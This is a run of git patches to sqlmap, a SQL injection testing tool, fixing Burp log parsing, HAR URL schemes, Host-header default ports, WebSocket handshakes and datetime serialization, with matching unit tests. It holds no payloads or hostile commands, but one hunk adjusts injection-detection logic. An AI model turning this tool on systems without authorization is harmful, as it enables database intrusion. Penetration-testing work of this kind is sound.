+- 2 files changed, 11 insertions(+), 9 deletions(-) diff --git a/lib/core/decorators.py b/lib/core/decorators.py index d3c584f45..9a942f4b7 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -61,10 +61,11 @@ def cachedmethod(f): key = args with lock: - try: - return cache[key] - except KeyError: # Note: single lookup, as an entry can get evicted in between (unlocked on Python 3) - pass + if key in cache: + try: + return cache[key] + except KeyError: # Note: evicted in between (unlocked on Python 3) + pass except TypeError: # Note: fallback (slow-path) for unhashable arguments @@ -75,10 +76,11 @@ def cachedmethod(f): key = (_FROZEN_KEY_MARKER, _freeze(args)) with lock: - try: - return cache[key] - except KeyError: - pass + if key in cache: + try: + return cache[key] + except KeyError: + pass except TypeError: # Note: genuinely uncacheable arguments; skip caching altogether return f(*args, **kwargs) diff --git a/lib/core/settings.py b/lib/core/settings.py index ec1d90f92..166194b23 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.26" +VERSION = "1.10.10.27" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 2d046c1a75cf6b3252720d8abfa684dface9e018 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 29 Oct 2026 14:15:37 +0100 Subject: [PATCH 030/126] Fixes #6163 --- lib/controller/checks.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 3bdbc471a..ff4a57fb3 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -627,7 +627,7 @@ def checkSqlInjection(place, parameter, value): # A real boolean injection's TRUE condition reproduces the normal page, so this # status-code asymmetry is the classic false positive - refuse it here. if not kb.negativeLogic and trueCode in WAF_BLOCK_HTTP_CODES and (falseCode or 0) < 400 and (kb.heuristicCode or 200) < 400: - warnMsg = "%sparameter '%s' TRUE/FALSE responses differ only by a blocked HTTP %d vs %d status, " % ("%s " % paramType if paramType != parameter else "", parameter, trueCode, falseCode) + warnMsg = "%sparameter '%s' TRUE/FALSE responses differ only by a blocked HTTP %d vs %s status, " % ("%s " % paramType if paramType != parameter else "", parameter, trueCode, falseCode) warnMsg += "which is characteristic of a WAF/IPS block rather than a SQL injection; skipping as a likely false positive" logger.warning(warnMsg) injectable = False diff --git a/lib/core/settings.py b/lib/core/settings.py index 166194b23..34df6df3a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.27" +VERSION = "1.10.10.28" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From c42ebd7acf47c88b6407995dd9842a2eb5d6534d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 29 Oct 2026 14:24:18 +0100 Subject: [PATCH 031/126] Fixes #6164 --- lib/core/common.py | 12 ++++++++---- lib/core/settings.py | 4 ++-- tests/test_common.py | 13 +++++++++++++ 3 files changed, 23 insertions(+), 6 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index ee3a26e70..dcb60caad 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5693,16 +5693,20 @@ def parseRequestFile(reqFile, checkParams=True): if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S): reqResList = [] for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S): - port, request = match.groups() + port, protocol, request = match.groups() + protocol = (protocol or "").lower() try: request = decodeBase64(request, binary=False) except (binascii.Error, TypeError): continue _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request) if _: - host = _.group(0).strip() - if not re.search(r":\d+\Z", host) and int(port) != 80: - request = request.replace(host, "%s:%d" % (host, int(port))) + host = value = _.group(0).strip() + if not re.search(r":\d+\Z", host) and int(port) != (443 if protocol == "https" else 80): + value = "%s:%d" % (value, int(port)) + if protocol and "://" not in value: # Note: item's (as the port alone can't tell e.g. HTTPS on 8443) + value = re.sub(r"\A([^:]+:\s*)", r"\g<1>%s://" % protocol, value) + request = request.replace(host, value) reqResList.append(request) else: reqResList = [content] diff --git a/lib/core/settings.py b/lib/core/settings.py index 34df6df3a..b0243c81b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.28" +VERSION = "1.10.10.29" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -582,7 +582,7 @@ WEBSCARAB_SPLITTER = "### Conversation" BURP_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+(={10,}|\Z)" # Regex used for parsing XML Burp saved history items -BURP_XML_HISTORY_REGEX = r'(\d+).*?(\d+)\s*(?:\s*(https?)\s*)?.*? decides the scheme (the port alone can't tell e.g. HTTPS on 8443 or HTTP on 443) + req = base64.b64encode(b"GET /vuln.php?id=1 HTTP/1.1\r\nHost: www.target.com\r\n\r\n").decode() + items = "".join('%s\n%s' % (port, protocol, req) for port, protocol in ((8443, "https"), (443, "http"), (443, "https"), (8080, ""))) + path = _write_temp("%s" % items, ".xml") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + + self.assertEqual([_[0] for _ in targets], ["https://www.target.com:8443/vuln.php?id=1", "http://www.target.com:443/vuln.php?id=1", "https://www.target.com:443/vuln.php?id=1", "http://www.target.com:8080/vuln.php?id=1"]) + self.assertTrue(all("://" not in value for _ in targets for key, value in _[4] if key == "Host")) + def test_post_body_captured(self): content = ( "======================================================\n" From 2ff5db17bab6c8f4ce74c2e6210e4b03bb9d336a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 30 Oct 2026 17:26:13 +0100 Subject: [PATCH 032/126] Fixes #6165 --- extra/shutils/precommit-hook.sh | 3 ++- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/extra/shutils/precommit-hook.sh b/extra/shutils/precommit-hook.sh index e82f47c46..206f6043a 100755 --- a/extra/shutils/precommit-hook.sh +++ b/extra/shutils/precommit-hook.sh @@ -23,8 +23,9 @@ git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0 if [ -f $SETTINGS_FULLPATH ] then LINE=$(grep -o ${SETTINGS_FULLPATH} -e '^VERSION = "[0-9.]*"') + # Note: a new month restarts the counter (i.e. '.0' gets tagged by post-commit hook), while a version already a month ahead (early release) just keeps counting declare -a LINE - INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.extend([0] * (4 - len(_))); _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE") + INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.extend([0] * (4 - len(_))); _[-1] = str(int(_[-1]) + 1); month = time.gmtime().tm_mon; _[-2:] = _[-2:] if (int(_[-2]) - month) % 12 in (0, 1) else [str(month), '0']; print sys.argv[1].replace(version, '.'.join(_))" "$LINE") if [ -n "$INCREMENTED" ] then sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH diff --git a/lib/core/settings.py b/lib/core/settings.py index b0243c81b..9bc04539c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.29" +VERSION = "1.10.11.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 6faa9bb929347189a62c046d7d02349140e9933d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 30 Oct 2026 17:30:50 +0100 Subject: [PATCH 033/126] Release 1.10.11 (#6165) --- extra/shutils/precommit-hook.sh | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/extra/shutils/precommit-hook.sh b/extra/shutils/precommit-hook.sh index 206f6043a..c55f16a0c 100755 --- a/extra/shutils/precommit-hook.sh +++ b/extra/shutils/precommit-hook.sh @@ -18,7 +18,7 @@ declare -x SCRIPTPATH="${0}" PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS -git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0 +git diff HEAD -- $SETTINGS_FULLPATH | grep "^+VERSION =" > /dev/null && exit 0 # Note: manually set VERSION (staged or not, e.g. "git commit -a") is kept as is if [ -f $SETTINGS_FULLPATH ] then diff --git a/lib/core/settings.py b/lib/core/settings.py index 9bc04539c..b82c17527 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.1" +VERSION = "1.10.11.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 9cd0619e2bf498d727771bf6cb0f4c763641d1e3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 30 Oct 2026 17:31:39 +0100 Subject: [PATCH 034/126] Dummy update --- lib/core/settings.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b82c17527..5ad34c3a9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.0" +VERSION = "1.10.11.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -114,7 +114,7 @@ BOOLEAN_MODEL_MATCH_RATIO = 0.9 PARAMETER_MINING_BUCKET_SIZE = 25 # For filling in case of dumb push updates -DUMMY_JUNK = "Phah5jue" +DUMMY_JUNK = "rie8kooZ" # Markers for special cases when parameter values contain html encoded characters PARAMETER_AMP_MARKER = "__PARAMETER_AMP__" From c15f4bf0552e9d50d4cf1d6a308fa15ccee99161 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 2 Nov 2026 11:13:40 +0100 Subject: [PATCH 035/126] Fixes #6168 --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- lib/utils/har.py | 22 ++++++++++++++-------- tests/test_har.py | 8 ++++++++ 4 files changed, 24 insertions(+), 10 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index dcb60caad..3a99cc794 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3236,7 +3236,7 @@ def logHTTPTraffic(requestLogMsg, responseLogMsg, startTime=None, endTime=None): """ if conf.harFile: - conf.httpCollector.collectRequest(requestLogMsg, responseLogMsg, startTime, endTime) + conf.httpCollector.collectRequest(requestLogMsg, responseLogMsg, startTime, endTime, scheme=conf.scheme) if conf.trafficFile: with kb.locks.log: diff --git a/lib/core/settings.py b/lib/core/settings.py index 5ad34c3a9..1886520a3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.1" +VERSION = "1.10.11.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/har.py b/lib/utils/har.py index 0eb31a1c1..c684ed499 100644 --- a/lib/utils/har.py +++ b/lib/utils/har.py @@ -36,10 +36,10 @@ class HTTPCollector(object): def setExtendedArguments(self, arguments): self.extendedArguments = arguments - def collectRequest(self, requestMessage, responseMessage, startTime=None, endTime=None): + def collectRequest(self, requestMessage, responseMessage, startTime=None, endTime=None, scheme=None): self.messages.append(RawPair(requestMessage, responseMessage, startTime=startTime, endTime=endTime, - extendedArguments=self.extendedArguments)) + extendedArguments=self.extendedArguments, scheme=scheme)) def obtain(self): return {"log": { @@ -49,15 +49,16 @@ class HTTPCollector(object): }} class RawPair(object): - def __init__(self, request, response, startTime=None, endTime=None, extendedArguments=None): + def __init__(self, request, response, startTime=None, endTime=None, extendedArguments=None, scheme=None): self.request = getBytes(request) self.response = getBytes(response) self.startTime = startTime self.endTime = endTime self.extendedArguments = extendedArguments or {} + self.scheme = scheme # Note: of the target at the time of the request (as origin-form request lines don't carry one) def toEntry(self): - return Entry(request=Request.parse(self.request), response=Response.parse(self.response), + return Entry(request=Request.parse(self.request, self.scheme), response=Response.parse(self.response), startTime=self.startTime, endTime=self.endTime, extendedArguments=self.extendedArguments) @@ -86,7 +87,7 @@ class Entry(object): return out class Request(object): - def __init__(self, method, path, httpVersion, headers, postBody=None, raw=None, comment=None): + def __init__(self, method, path, httpVersion, headers, postBody=None, raw=None, comment=None, scheme=None): self.method = method self.path = path self.httpVersion = httpVersion @@ -94,9 +95,10 @@ class Request(object): self.postBody = postBody self.comment = comment.strip() if comment else comment self.raw = raw + self.scheme = scheme @classmethod - def parse(cls, raw): + def parse(cls, raw, scheme=None): request = HTTPRequest(raw) return cls(method=request.command, path=request.path, @@ -104,12 +106,16 @@ class Request(object): headers=request.headers, postBody=request.rfile.read(), comment=request.comment, - raw=raw) + raw=raw, + scheme=scheme) @property def url(self): + if re.search(r"(?i)\Ahttps?://", self.path or ""): # Note: absolute-form request target (e.g. refreshing/crawling/checking requests) + return self.path + host = self.headers.get("Host", "unknown") - return "http://%s%s" % (host, self.path) + return "%s://%s%s" % (self.scheme or "http", host, self.path) def toDict(self): out = { diff --git a/tests/test_har.py b/tests/test_har.py index 9b6142624..3ca6b547e 100644 --- a/tests/test_har.py +++ b/tests/test_har.py @@ -52,6 +52,14 @@ class TestHTTPCollector(unittest.TestCase): self.assertEqual(entries[0]["request"]["method"], "GET") self.assertEqual(entries[0]["response"]["status"], 200) + def test_request_url_scheme(self): + # Note: origin-form request lines carry no scheme (HTTPS targets used to be logged as 'http://'), while + # absolute-form ones (refreshing/crawling/checking requests) used to get the Host prepended to them + c = H.HTTPCollector() + for line, scheme in (("GET /?id=1", "https"), ("GET /?id=1", None), ("GET https://other.com:8443/x?id=1", "http")): + c.collectRequest(("%s HTTP/1.1\r\nHost: example.com\r\n\r\n" % line).encode(), b"HTTP/1.1 200 OK\r\n\r\n", startTime=1000, endTime=2000, scheme=scheme) + self.assertEqual([_["request"]["url"] for _ in c.obtain()["log"]["entries"]], ["https://example.com/?id=1", "http://example.com/?id=1", "https://other.com:8443/x?id=1"]) + class TestHTTPCollectorFactory(unittest.TestCase): def test_create_returns_collector(self): From 3130623afce1012411af60b1567b9c78495b6287 Mon Sep 17 00:00:00 2001 From: cuteNBD <2905153124@qq.com> Date: Wed, 4 Nov 2026 05:03:38 +0800 Subject: [PATCH 036/126] Preserve non-default ports in Host headers (#6171) Co-authored-by: cuteNBD <206630735+bingdongni@users.noreply.github.com> --- lib/core/common.py | 10 +++++----- tests/test_common_helpers.py | 15 +++++++++++++++ 2 files changed, 20 insertions(+), 5 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 3a99cc794..0195ff821 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5138,12 +5138,12 @@ def getHostHeader(url): retVal = url if url: - retVal = _urllib.parse.urlparse(url).netloc + parsed = _urllib.parse.urlparse(url) + retVal = parsed.netloc + defaultPort = {"http": 80, "https": 443}.get(parsed.scheme.lower()) - # Note: netloc keeps the IPv6 brackets (and any port), so only the default ports are - # stripped here - mirroring the hostname/IPv4 branch and preserving non-default ports - # (e.g. '[::1]:8080') as required by RFC 7230 - if any(retVal.endswith(':%d' % _) for _ in (80, 443)): + # Keep non-default ports, including 80 on HTTPS and 443 on HTTP. + if defaultPort is not None and retVal.endswith(':%d' % defaultPort): retVal = retVal[:retVal.rfind(':')] if retVal and retVal.count(':') > 1 and not any(_ in retVal for _ in ('[', ']')): diff --git a/tests/test_common_helpers.py b/tests/test_common_helpers.py index ca37d14bd..6c9e88275 100644 --- a/tests/test_common_helpers.py +++ b/tests/test_common_helpers.py @@ -70,6 +70,21 @@ class TestGetHostHeader(unittest.TestCase): def test_without_port(self): self.assertEqual(getHostHeader("http://example.com/path"), "example.com") + def test_default_ports_depend_on_scheme(self): + cases = ( + ("http://example.com:80/path", "example.com"), + ("https://example.com:443/path", "example.com"), + ("http://example.com:443/path", "example.com:443"), + ("https://example.com:80/path", "example.com:80"), + ("HTTP://example.com:443/path", "example.com:443"), + ("http://[::1]:80/path", "[::1]"), + ("https://[::1]:443/path", "[::1]"), + ("http://[::1]:443/path", "[::1]:443"), + ("https://[::1]:80/path", "[::1]:80"), + ) + for url, expected in cases: + self.assertEqual(getHostHeader(url), expected, msg=url) + if __name__ == "__main__": unittest.main(verbosity=2) From 8476cf4d09d7c4784bb83f2b34e7551961569add Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 3 Nov 2026 22:04:01 +0100 Subject: [PATCH 037/126] Fix related to the #6171 (WebSocket Host port) --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- lib/request/websocket.py | 2 +- tests/test_websocket.py | 29 +++++++++++++++++++++++++++++ 4 files changed, 32 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 0195ff821..7231fa229 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5140,7 +5140,7 @@ def getHostHeader(url): if url: parsed = _urllib.parse.urlparse(url) retVal = parsed.netloc - defaultPort = {"http": 80, "https": 443}.get(parsed.scheme.lower()) + defaultPort = {"http": 80, "https": 443, "ws": 80, "wss": 443}.get(parsed.scheme.lower()) # Keep non-default ports, including 80 on HTTPS and 443 on HTTP. if defaultPort is not None and retVal.endswith(':%d' % defaultPort): diff --git a/lib/core/settings.py b/lib/core/settings.py index 1886520a3..ccaea017a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.2" +VERSION = "1.10.11.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/websocket.py b/lib/request/websocket.py index 1d8f56aee..88d58a790 100644 --- a/lib/request/websocket.py +++ b/lib/request/websocket.py @@ -73,7 +73,7 @@ class WebSocket(object): self.sock.settimeout(self._timeout) hostport = "[%s]" % host if ":" in host else host # bracket IPv6 literals - if port not in (80, 443): + if port != (443 if secure else 80): # Note: only the scheme's own default port gets omitted hostport = "%s:%d" % (hostport, port) key = getText(base64.b64encode(os.urandom(16))) diff --git a/tests/test_websocket.py b/tests/test_websocket.py index 6091229a6..6197c3ac7 100644 --- a/tests/test_websocket.py +++ b/tests/test_websocket.py @@ -133,6 +133,35 @@ class TestWebSocket(unittest.TestCase): ws = _client(); ws.sock = _RaisingSock(_ssl.SSLError("decryption failed")) self.assertRaises(_ssl.SSLError, ws.recv) + def test_handshake_host_port(self): + # Note: only the scheme's own default port is omitted (port 443 used to be dropped for 'ws://' too) + import lib.request.websocket as W + + class _Sent(Exception): + pass + + class _Capture(_FakeSock): + def settimeout(self, value): + pass + + def sendall(self, data): + raise _Sent(data) + + original = W.socket.create_connection + try: + W.socket.create_connection = lambda *args, **kwargs: _Capture() + for url, host in (("ws://example.com:443/x", "example.com:443"), ("ws://example.com:80/x", "example.com"), ("ws://example.com:8080/x", "example.com:8080")): + ws = WebSocket.__new__(WebSocket) + ws._timeout = None + try: + ws.connect(url) + except _Sent as ex: + self.assertIn(("Host: %s\r\n" % host).encode(), ex.args[0]) + else: + self.fail("handshake was not sent") + finally: + W.socket.create_connection = original + if __name__ == "__main__": unittest.main() From bf8b9956e047f19c95b0686df0ff03ded3b528b5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 3 Nov 2026 22:04:29 +0100 Subject: [PATCH 038/126] Fixes #6170 --- lib/core/convert.py | 3 +++ lib/core/settings.py | 2 +- tests/test_serialize.py | 13 +++++++++++++ 3 files changed, 17 insertions(+), 1 deletion(-) diff --git a/lib/core/convert.py b/lib/core/convert.py index f3927e60d..ec6ed2015 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -125,6 +125,9 @@ def _serializeEncode(value): if isinstance(value, decimal.Decimal): return {_SERIALIZE_TAG: "dec", "v": getUnicode(value)} + if isinstance(value, (datetime.datetime, datetime.time)) and value.tzinfo is not None: + return getUnicode(value) # Note: time zone aware value (e.g. from '-d' connector) kept as displayed, as an arbitrary tzinfo can't be rebuilt + if isinstance(value, datetime.datetime): return {_SERIALIZE_TAG: "dt", "v": [value.year, value.month, value.day, value.hour, value.minute, value.second, value.microsecond]} diff --git a/lib/core/settings.py b/lib/core/settings.py index ccaea017a..b067c067e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.3" +VERSION = "1.10.11.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_serialize.py b/tests/test_serialize.py index fb7b72bcb..17b163e26 100644 --- a/tests/test_serialize.py +++ b/tests/test_serialize.py @@ -259,6 +259,19 @@ class TestDbmsScalars(unittest.TestCase): self.assertEqual(restored, value) self.assertIs(type(restored), type(value)) + def test_timezone_aware_kept_as_displayed(self): + # Note: a resumed '-d' session used to drop the offset (e.g. '+05:30'), as only naive fields got stored + class _Offset(datetime.tzinfo): + def utcoffset(self, dt): + return datetime.timedelta(hours=5, minutes=30) + + def dst(self, dt): + return datetime.timedelta(0) + + for value in (datetime.datetime(2024, 1, 2, 3, 4, 0, tzinfo=_Offset()), datetime.time(3, 4, 0, tzinfo=_Offset())): + self.assertEqual(rt(value), getUnicode(value)) + self.assertTrue(rt(value).endswith("+05:30")) + class TestRealSessionObjects(unittest.TestCase): # the exact shapes written with serialize=True across the codebase From 74f50122fbd620652f6369099cdf02e9540b657f Mon Sep 17 00:00:00 2001 From: cuteNBD <2905153124@qq.com> Date: Wed, 4 Nov 2026 17:18:06 +0800 Subject: [PATCH 039/126] Preserve custom Host headers for WebSocket requests (#6172) Co-authored-by: cuteNBD <206630735+bingdongni@users.noreply.github.com> --- lib/request/connect.py | 8 +++- lib/request/websocket.py | 4 +- tests/test_websocket.py | 85 ++++++++++++++++++++++++++++++++++++++++ 3 files changed, 95 insertions(+), 2 deletions(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index 04fc3f3a4..d6c043608 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -521,6 +521,8 @@ class Connect(object): # Prepare HTTP headers headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host or getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHostHeader(url)}, base=None if target else {}) + # WebSocket builds its own default Host, but must preserve explicit overrides. + customWsHost = webSocket and bool(host or getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHeader(auxHeaders, HTTP_HEADER.HOST) is not None) if HTTP_HEADER.COOKIE in headers: cookie = headers[HTTP_HEADER.COOKIE] @@ -573,9 +575,13 @@ class Connect(object): if ':' in line: header, value = line.split(':', 1) headers[header] = value + if webSocket and header.upper() == HTTP_HEADER.HOST.upper(): + headers[HTTP_HEADER.HOST] = value + customWsHost = True if conf.localhost: headers[HTTP_HEADER.HOST] = "localhost" + customWsHost = True for key, value in list(headers.items()): if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper(): @@ -600,7 +606,7 @@ class Connect(object): try: ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout) wsHeaders = tuple("%s: %s" % (getUnicode(key), getUnicode(value)) for key, value in headers.items() if getUnicode(key).upper() != HTTP_HEADER.HOST.upper()) - ws.connect(url, header=wsHeaders, cookie=cookie) # WebSocket will add Host field of headers automatically + ws.connect(url, header=wsHeaders, cookie=cookie, host_header=getHeader(headers, HTTP_HEADER.HOST) if customWsHost else None) ws.send(urldecode(post or "")) _page = [] diff --git a/lib/request/websocket.py b/lib/request/websocket.py index 88d58a790..9cb43ed2c 100644 --- a/lib/request/websocket.py +++ b/lib/request/websocket.py @@ -58,7 +58,7 @@ class WebSocket(object): if self.sock is not None: self.sock.settimeout(timeout) - def connect(self, url, header=None, cookie=None): + def connect(self, url, header=None, cookie=None, host_header=None): parts = _urllib.parse.urlsplit(url) secure = parts.scheme == "wss" host = parts.hostname @@ -75,6 +75,8 @@ class WebSocket(object): hostport = "[%s]" % host if ":" in host else host # bracket IPv6 literals if port != (443 if secure else 80): # Note: only the scheme's own default port gets omitted hostport = "%s:%d" % (hostport, port) + if host_header is not None: + hostport = getText(host_header) key = getText(base64.b64encode(os.urandom(16))) lines = ["GET %s HTTP/1.1" % resource, diff --git a/tests/test_websocket.py b/tests/test_websocket.py index 6197c3ac7..bea72b715 100644 --- a/tests/test_websocket.py +++ b/tests/test_websocket.py @@ -33,6 +33,9 @@ from lib.request.websocket import ( OPCODE_PING, OPCODE_CLOSE, ) +from lib.request.connect import Connect + +_GET_PAGE = Connect.__dict__["getPage"] class _FakeSock(object): @@ -162,6 +165,88 @@ class TestWebSocket(unittest.TestCase): finally: W.socket.create_connection = original + def test_getpage_preserves_host_header(self): + import socket + import tempfile + import lib.request.websocket as W + from lib.core.data import conf, kb + from lib.core.option import _setKnowledgeBaseAttributes + from lib.core.threads import getCurrentThreadData + + class _HandshakeSock(_FakeSock): + def __init__(self): + _FakeSock.__init__(self) + self.handshake = None + self.response = b"" + + def settimeout(self, value): + pass + + def sendall(self, data): + if self.handshake is None: + self.handshake = data + key = next(line.split(b":", 1)[1].strip() for line in data.split(b"\r\n") if line.lower().startswith(b"sec-websocket-key:")) + accept = base64.b64encode(hashlib.sha1(key + _GUID.encode("ascii")).digest()) + self.response = b"HTTP/1.1 101 Switching Protocols\r\nSec-WebSocket-Accept: " + accept + b"\r\n\r\n" + _serverFrame("ok") + + def recv(self, size): + result, self.response = self.response[:size], self.response[size:] + return result + + sockets = [] + def create_socket(*args, **kwargs): + sock = _HandshakeSock() + sockets.append(sock) + return sock + + oldConf, oldKb = dict(conf), dict(kb) + threadData = getCurrentThreadData() + oldThreadData = dict(threadData.__dict__) + oldTimeout = socket.getdefaulttimeout() + original = W.socket.create_connection + oldGetPage = Connect.__dict__["getPage"] + fd, headersFile = tempfile.mkstemp(prefix="sqlmap-ws-headers-") + try: + with os.fdopen(fd, "w") as f: + f.write("hOsT: file.example\n") + threadData.__dict__.clear() + threadData.reset() + _setKnowledgeBaseAttributes(False) + kb.wizardMode, kb.webSocketRecvCount = True, 1 + conf.url = "ws://example.test:8080/test" + conf.hostname, conf.scheme, conf.port, conf.path = "example.test", "ws", 8080, "/test" + conf.parameters, conf.data = {}, None + conf.abortCode, conf.ignoreCode = [], [] + conf.timeout, conf.batch, conf.keepAlive = 3, True, False + conf.retryOn, conf.ignoreRedirects, conf.scope = None, False, None + W.socket.create_connection = create_socket 